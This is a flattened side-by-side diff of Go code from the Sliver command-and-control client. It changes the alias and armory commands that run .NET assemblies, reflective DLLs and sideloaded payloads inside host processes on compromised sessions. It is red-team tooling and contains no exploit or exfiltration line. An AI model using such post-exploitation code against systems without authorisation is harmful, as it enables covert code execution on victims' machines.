con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err) con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
@@ -108,18 +109,12 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
} }
manifest, err := ParseAliasManifest(manifestData) manifest, err := ParseAliasManifest(manifestData)
if err != nil { if err != nil {
errorMsg := "" con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
if aliasName != "" {
errorMsg = fmt.Sprintf("Error processing manifest for alias %s - failed to parse %s: %s\n", aliasName, ManifestFileName, err)
} else {
errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
}
con.PrintErrorf(errorMsg)
return nil return nil
} }
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName)) installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) { if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if promptToOverwrite { if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName) con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"} prompt := &survey.Confirm{Message: "Overwrite current install?"}
@@ -145,7 +140,7 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
} }
for _, aliasFile := range manifest.Files { for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" { if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path) err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil { if err != nil {
con.PrintErrorf("Failed to install file: %s\n", err) con.PrintErrorf("Failed to install file: %s\n", err)
forceRemoveAll(installPath) forceRemoveAll(installPath)
@@ -157,7 +152,7 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
return &installPath return &installPath
} }
func installArtifact(aliasGzFilePath string, installPath, artifactPath string) error { func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator)))) data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
if err != nil { if err != nil {
return err return err
+54 -108
View File
@@ -28,18 +28,18 @@ import (
"strings" "strings"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/packages"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
app "github.com/reeflective/console" app "github.com/reeflective/console"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/spf13/pflag" "github.com/spf13/pflag"
"google.golang.org/protobuf/proto" "google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
) )
const ( const (
@@ -53,30 +53,30 @@ const (
) )
var ( var (
// alias name -> manifest/command. // alias name -> manifest/command
loadedAliases = map[string]*loadedAlias{} loadedAliases = map[string]*loadedAlias{}
defaultHostProc = map[string]string{ defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc, "windows": windowsDefaultHostProc,
"linux": linuxDefaultHostProc, "linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc, "darwin": macosDefaultHostProc,
} }
) )
// Ties the manifest struct to the command struct. // Ties the manifest struct to the command struct
type loadedAlias struct { type loadedAlias struct {
Manifest *AliasManifest Manifest *AliasManifest
Command *cobra.Command Command *cobra.Command
} }
// AliasFile - An OS/Arch specific file. // AliasFile - An OS/Arch specific file
type AliasFile struct { type AliasFile struct {
OS string `json:"os"` OS string `json:"os"`
Arch string `json:"arch"` Arch string `json:"arch"`
Path string `json:"path"` Path string `json:"path"`
} }
// AliasManifest - The manifest for an alias, contains metadata. // AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct { type AliasManifest struct {
Name string `json:"name"` Name string `json:"name"`
Version string `json:"version"` Version string `json:"version"`
@@ -86,17 +86,14 @@ type AliasManifest struct {
Help string `json:"help"` Help string `json:"help"`
LongHelp string `json:"long_help"` LongHelp string `json:"long_help"`
Entrypoint string `json:"entrypoint"` Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"` AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"` DefaultArgs string `json:"default_args"`
Files []*AliasFile `json:"files"` Files []*AliasFile `json:"files"`
IsReflective bool `json:"is_reflective"` IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"` IsAssembly bool `json:"is_assembly"`
Schema *packages.OutputSchema `json:"schema"`
RootPath string `json:"-"` RootPath string `json:"-"`
ArmoryName string `json:"-"`
ArmoryPK string `json:"-"`
} }
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) { func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
@@ -107,7 +104,7 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
return return
} }
func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch string) (string, error) { func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := "" filePath := ""
for _, extFile := range a.Files { for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch { if targetOS == extFile.OS && targetArch == extFile.Arch {
@@ -127,7 +124,7 @@ func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch s
} }
// AliasesLoadCmd - Locally load a alias into the Sliver shell. // AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
dirPath := args[0] dirPath := args[0]
// dirPath := ctx.Args.String("dir-path") // dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, cmd.Root(), con) alias, err := LoadAlias(dirPath, cmd.Root(), con)
@@ -138,8 +135,8 @@ func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string
} }
} }
// LoadAlias - Load an alias into the Sliver shell from a given directory. // LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClient) (*AliasManifest, error) { func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest // retrieve alias manifest
var err error var err error
manifestPath, err = filepath.Abs(manifestPath) manifestPath, err = filepath.Abs(manifestPath)
@@ -208,7 +205,7 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
return aliasManifest, nil return aliasManifest, nil
} }
// ParseAliasManifest - Parse an alias manifest. // ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) { func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it // parse it
alias := &AliasManifest{} alias := &AliasManifest{}
@@ -241,17 +238,10 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
} }
} }
if alias.Schema != nil {
if !packages.IsValidSchemaType(alias.Schema.Name) {
return nil, fmt.Errorf("%s is not a valid schema type", alias.Schema.Name)
}
alias.Schema.IngestColumns()
}
return alias, nil return alias, nil
} }
func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []string) { func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -278,20 +268,20 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
return return
} }
// args := ctx.Args.StringList("arguments") // args := ctx.Args.StringList("arguments")
var extArgsStr string var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 { if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgsStr = aliasManifest.DefaultArgs extArgs = aliasManifest.DefaultArgs
} else { } else {
extArgsStr = strings.Join(args, " ") extArgs = strings.Join(args, " ")
} }
extArgsStr = strings.TrimSpace(extArgsStr) extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint entryPoint := aliasManifest.Entrypoint
processArgsStr, _ := cmd.Flags().GetString("process-arguments") processArgsStr, _ := cmd.Flags().GetString("process-arguments")
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads): // Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
// The Donut loader has a hard limit of 256 characters for the command line arguments, so // The Donut loader has a hard limit of 256 characters for the command line arguments, so
// we're alerting the user that the arguments will be truncated. // we're alerting the user that the arguments will be truncated.
if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) { if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
msgStr := "" msgStr := ""
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true). // The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics // Groupping the two conditions together could crash the client since ctx.Flags.Type panics
@@ -363,13 +353,13 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
// Execute Assembly // Execute Assembly
ctrl := make(chan bool) ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr) msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl) con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{ executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
IsDLL: isDLL, IsDLL: isDLL,
Process: processName, Process: processName,
Arguments: args, Arguments: extArgs,
Assembly: binData, Assembly: binData,
Arch: arch, Arch: arch,
Method: method, Method: method,
@@ -396,11 +386,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
con.PrintErrorf("Failed to decode call ext response %s\n", err) con.PrintErrorf("Failed to decode call ext response %s\n", err)
return return
} }
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con) PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
}) })
con.PrintAsyncResponse(executeAssemblyResp.Response) con.PrintAsyncResponse(executeAssemblyResp.Response)
} else { } else {
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con) PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
} }
} else if aliasManifest.IsReflective { } else if aliasManifest.IsReflective {
@@ -409,11 +399,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
// Spawn DLL // Spawn DLL
ctrl := make(chan bool) ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr) msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl) con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{ spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
Args: args, Args: strings.Trim(extArgs, " "),
Data: binData, Data: binData,
ProcessName: processName, ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint, EntryPoint: aliasManifest.Entrypoint,
@@ -435,11 +425,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
con.PrintErrorf("Failed to decode call ext response %s\n", err) con.PrintErrorf("Failed to decode call ext response %s\n", err)
return return
} }
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con) PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
}) })
con.PrintAsyncResponse(spawnDllResp.Response) con.PrintAsyncResponse(spawnDllResp.Response)
} else { } else {
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con) PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
} }
} else { } else {
@@ -448,11 +438,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
// Sideload // Sideload
ctrl := make(chan bool) ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr) msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl) con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{ sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
Args: args, Args: extArgs,
Data: binData, Data: binData,
EntryPoint: entryPoint, EntryPoint: entryPoint,
ProcessName: processName, ProcessName: processName,
@@ -475,80 +465,36 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
con.PrintErrorf("Failed to decode call ext response %s\n", err) con.PrintErrorf("Failed to decode call ext response %s\n", err)
return return
} }
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con) PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
}) })
con.PrintAsyncResponse(sideloadResp.Response) con.PrintAsyncResponse(sideloadResp.Response)
} else { } else {
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con) PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
} }
} }
} }
func getOutputWithSchema(schema *packages.OutputSchema, result string) string { // PrintSpawnDLLOutput - Prints the output of a spawn dll command
if schema == nil { func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
return result con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
}
outputSchema := packages.GetNewPackageOutput(schema.Name)
if outputSchema == nil {
return result
}
err := outputSchema.IngestData([]byte(result), schema.Columns(), schema.GroupBy)
if err != nil {
return result
}
return outputSchema.CreateTable()
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command.
func PrintSpawnDLLOutput(cmdName string, schema *packages.OutputSchema, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) {
var result string
if schema != nil {
result = getOutputWithSchema(schema, spawnDllResp.GetResult())
} else {
result = spawnDllResp.GetResult()
}
con.PrintInfof("%s output:\n%s", cmdName, result)
// Output the raw result to the file
if outFilePath != nil { if outFilePath != nil {
outFilePath.WriteString(spawnDllResp.GetResult()) outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name()) con.PrintInfof("Output saved to %s\n", outFilePath.Name())
} }
} }
// PrintSideloadOutput - Prints the output of a sideload command. // PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, schema *packages.OutputSchema, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) { func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
var result string con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if schema != nil {
result = getOutputWithSchema(schema, sideloadResp.GetResult())
} else {
result = sideloadResp.GetResult()
}
con.PrintInfof("%s output:\n%s", cmdName, result)
// Output the raw result to the file
if outFilePath != nil { if outFilePath != nil {
outFilePath.WriteString(sideloadResp.GetResult()) outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name()) con.PrintInfof("Output saved to %s\n", outFilePath.Name())
} }
} }
// PrintAssemblyOutput - Prints the output of an execute-assembly command. // PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, schema *packages.OutputSchema, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) { func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
var result string con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if schema != nil {
result = getOutputWithSchema(schema, string(execAsmResp.GetOutput()))
} else {
result = string(execAsmResp.GetOutput())
}
con.PrintInfof("%s output:\n%s", cmdName, result)
// Output the raw result to the file
if outFilePath != nil { if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput()) outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name()) con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+5 -4
View File
@@ -25,13 +25,14 @@ import (
"path/filepath" "path/filepath"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
) )
// AliasesRemoveCmd - Locally load a alias into the Sliver shell. // AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name := args[0] name := args[0]
// name := ctx.Args.String("name") // name := ctx.Args.String("name")
if name == "" { if name == "" {
@@ -53,8 +54,8 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
} }
} }
// RemoveAliasByCommandName - Remove an alias by command name. // RemoveAliasByCommandName - Remove an alias by command name
func RemoveAliasByCommandName(commandName string, con *console.SliverClient) error { func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" { if commandName == "" {
return errors.New("command name is required") return errors.New("command name is required")
} }
+74 -364
View File
@@ -23,7 +23,6 @@ import (
"errors" "errors"
"fmt" "fmt"
"net/url" "net/url"
"slices"
"sync" "sync"
"time" "time"
@@ -55,24 +54,13 @@ type ArmoryPackage struct {
RepoURL string `json:"repo_url"` RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"` PublicKey string `json:"public_key"`
IsAlias bool `json:"-"` IsAlias bool `json:"-"`
ArmoryName string `json:"-"`
/*
With support for multiple armories, the command name of a package
is not unique anymore, so we need something that is unique
to be able to keep track of packages.
This ID will be a hash calculated from properties of the package.
*/
ID string `json:"-"`
ArmoryPK string `json:"-"`
} }
// ArmoryBundle - A list of packages // ArmoryBundle - A list of packages
type ArmoryBundle struct { type ArmoryBundle struct {
Name string `json:"name"` Name string `json:"name"`
Packages []string `json:"packages"` Packages []string `json:"packages"`
ArmoryName string `json:"-"`
} }
// ArmoryHTTPConfig - Configuration for armory HTTP client // ArmoryHTTPConfig - Configuration for armory HTTP client
@@ -101,75 +89,48 @@ type pkgCacheEntry struct {
Alias *alias.AliasManifest Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest Extension *extensions.ExtensionManifest
LastErr error LastErr error
// This corresponds to Pkg.ID
ID string
} }
var ( var (
// public key -> armoryCacheEntry // public key -> armoryCacheEntry
indexCache = sync.Map{} indexCache = sync.Map{}
// package ID -> armoryPkgCacheEntry // public key -> armoryPkgCacheEntry
pkgCache = sync.Map{} pkgCache = sync.Map{}
// public key -> assets.ArmoryConfig
currentArmories = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests // cacheTime - How long to cache the index/pkg manifests
//cacheTime = time.Hour cacheTime = time.Hour
cacheTime = 2 * time.Minute
// This will kill a download if exceeded so needs to be large // This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute defaultTimeout = 15 * time.Minute
// Track whether armories have been initialized so that we know if we need to pull from the config
armoriesInitialized = false
// Track whether the default armory has been removed by the user (this is needed to prevent it from being readded in if they have removed it)
defaultArmoryRemoved = false
) )
// ArmoryCmd - The main armory command // ArmoryCmd - The main armory command
func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
armoriesConfig := getCurrentArmoryConfiguration() armoriesConfig := assets.GetArmoriesConfig()
if len(armoriesConfig) == 1 { con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
con.Printf("Reading armory index ... ")
} else {
con.PrintInfof("Reading %d armory indexes ... ", len(armoriesConfig))
}
clientConfig := parseArmoryHTTPConfig(cmd) clientConfig := parseArmoryHTTPConfig(cmd)
indexes := fetchIndexes(clientConfig) indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) { if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool { indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry) cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil { if cacheEntry.LastErr != nil {
con.PrintErrorf("%s (%s) - %s\n", cacheEntry.ArmoryConfig.Name, cacheEntry.RepoURL, cacheEntry.LastErr) con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} }
return true return true
}) })
} else { } else {
con.Printf("done!\n") con.Printf("done!\n")
} }
armoriesInitialized = true
if len(indexes) == 0 {
con.PrintInfof("No indexes found\n")
return
}
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
for _, index := range indexes { if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
errorCount := 0 errorCount := 0
con.PrintInfof("Reading package information for armory %s ... ", index.ArmoryConfig.Name) aliases := []*alias.AliasManifest{}
fetchPackageSignatures(index, clientConfig) exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool { pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry) cacheEntry := value.(pkgCacheEntry)
if !ok {
// Something is wrong with this entry
pkgCache.Delete(value)
return true
}
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
return true
}
if cacheEntry.LastErr != nil { if cacheEntry.LastErr != nil {
errorCount++ errorCount++
if errorCount == 0 { if errorCount == 0 {
@@ -188,52 +149,32 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if errorCount == 0 { if errorCount == 0 {
con.Printf("done!\n") con.Printf("done!\n")
} }
} if 0 < len(aliases) || 0 < len(exts) {
if 0 < len(aliases) || 0 < len(exts) { con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
con.Println() con.Println()
PrintArmoryPackages(aliases, exts, con) bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
} else { } else {
con.PrintInfof("No packages found\n") con.PrintInfof("No indexes found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
} }
} }
func refresh(clientConfig ArmoryHTTPConfig) { func refresh(clientConfig ArmoryHTTPConfig) {
getCurrentArmoryConfiguration() armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(clientConfig) indexes := fetchIndexes(armoriesConfig, clientConfig)
for _, index := range indexes { fetchPackageSignatures(indexes, clientConfig)
fetchPackageSignatures(index, clientConfig)
}
} }
func countUniqueCommandsFromManifests(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest) (int, int) { func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
uniqueAliasNames := []string{}
uniqueExtensionNames := []string{}
for _, alias := range aliases {
if !slices.Contains(uniqueAliasNames, alias.CommandName) {
uniqueAliasNames = append(uniqueAliasNames, alias.CommandName)
}
}
for _, ext := range exts {
for _, cmd := range ext.ExtCommand {
if !slices.Contains(uniqueExtensionNames, cmd.CommandName) {
uniqueExtensionNames = append(uniqueExtensionNames, cmd.CommandName)
}
}
}
return len(uniqueAliasNames), len(uniqueExtensionNames)
}
func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{} aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{} exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool { pkgCache.Range(func(key, value interface{}) bool {
@@ -250,125 +191,6 @@ func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionM
return aliases, exts return aliases, exts
} }
func armoryLookupByName(name string) *assets.ArmoryConfig {
var result *assets.ArmoryConfig
indexCache.Range(func(key, value interface{}) bool {
indexEntry, ok := value.(indexCacheEntry)
if !ok {
// Keep going
return true
}
if indexEntry.ArmoryConfig.Name == name {
result = indexEntry.ArmoryConfig
return false
}
return true
})
return result
}
// Returns the packages in the cache with a given name
func packageCacheLookupByName(name string) []*pkgCacheEntry {
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.Pkg.Name == name {
result = append(result, &cacheEntry)
}
return true
})
return result
}
// Returns the packages in the cache for a given command name
func packageCacheLookupByCmd(commandName string) []*pkgCacheEntry {
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.Pkg.CommandName == commandName {
result = append(result, &cacheEntry)
}
return true
})
return result
}
// Returns the package in the cache for a given command name and armory
func packageCacheLookupByCmdAndArmory(commandName string, armoryPublicKey string) *pkgCacheEntry {
var result *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey && cacheEntry.Pkg.CommandName == commandName {
result = &cacheEntry
// Stop iterating
return false
}
return true
})
return result
}
// Returns the package hashes in the cache for a given armory
func packageHashLookupByArmory(armoryPublicKey string) []string {
result := []string{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey {
result = append(result, cacheEntry.ID)
}
return true
})
return result
}
func packageCacheLookupByID(packageID string) *pkgCacheEntry {
var packageEntry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.LastErr == nil {
if cacheEntry.ID == packageID {
packageEntry = &cacheEntry
// Stop iterating
return false
}
}
return true
})
return packageEntry
}
func bundlesInCache() []*ArmoryBundle { func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{} bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool { indexCache.Range(func(key, value interface{}) bool {
@@ -385,7 +207,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
var action carapace.Action var action carapace.Action
results := []string{} results := []string{}
aliases, exts := packageManifestsInCache() aliases, exts := packagesInCache()
bundles := bundlesInCache() bundles := bundlesInCache()
for _, aliasPkg := range aliases { for _, aliasPkg := range aliases {
@@ -420,7 +242,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
} }
// PrintArmoryPackages - Prints the armory packages // PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) { func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0) width, _, err := term.GetSize(0)
if err != nil { if err != nil {
width = 1 width = 1
@@ -434,7 +256,6 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
if con.Settings.SmallTermWidth+urlMargin < width { if con.Settings.SmallTermWidth+urlMargin < width {
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
"Armory",
"Command Name", "Command Name",
"Version", "Version",
"Type", "Type",
@@ -443,7 +264,6 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
}) })
} else { } else {
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
"Armory",
"Command Name", "Command Name",
"Version", "Version",
"Type", "Type",
@@ -453,11 +273,10 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
// Columns start at 1 for some dumb reason // Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{ tw.SortBy([]table.SortBy{
{Number: 2, Mode: table.Asc}, {Number: 1, Mode: table.Asc},
}) })
type pkgInfo struct { type pkgInfo struct {
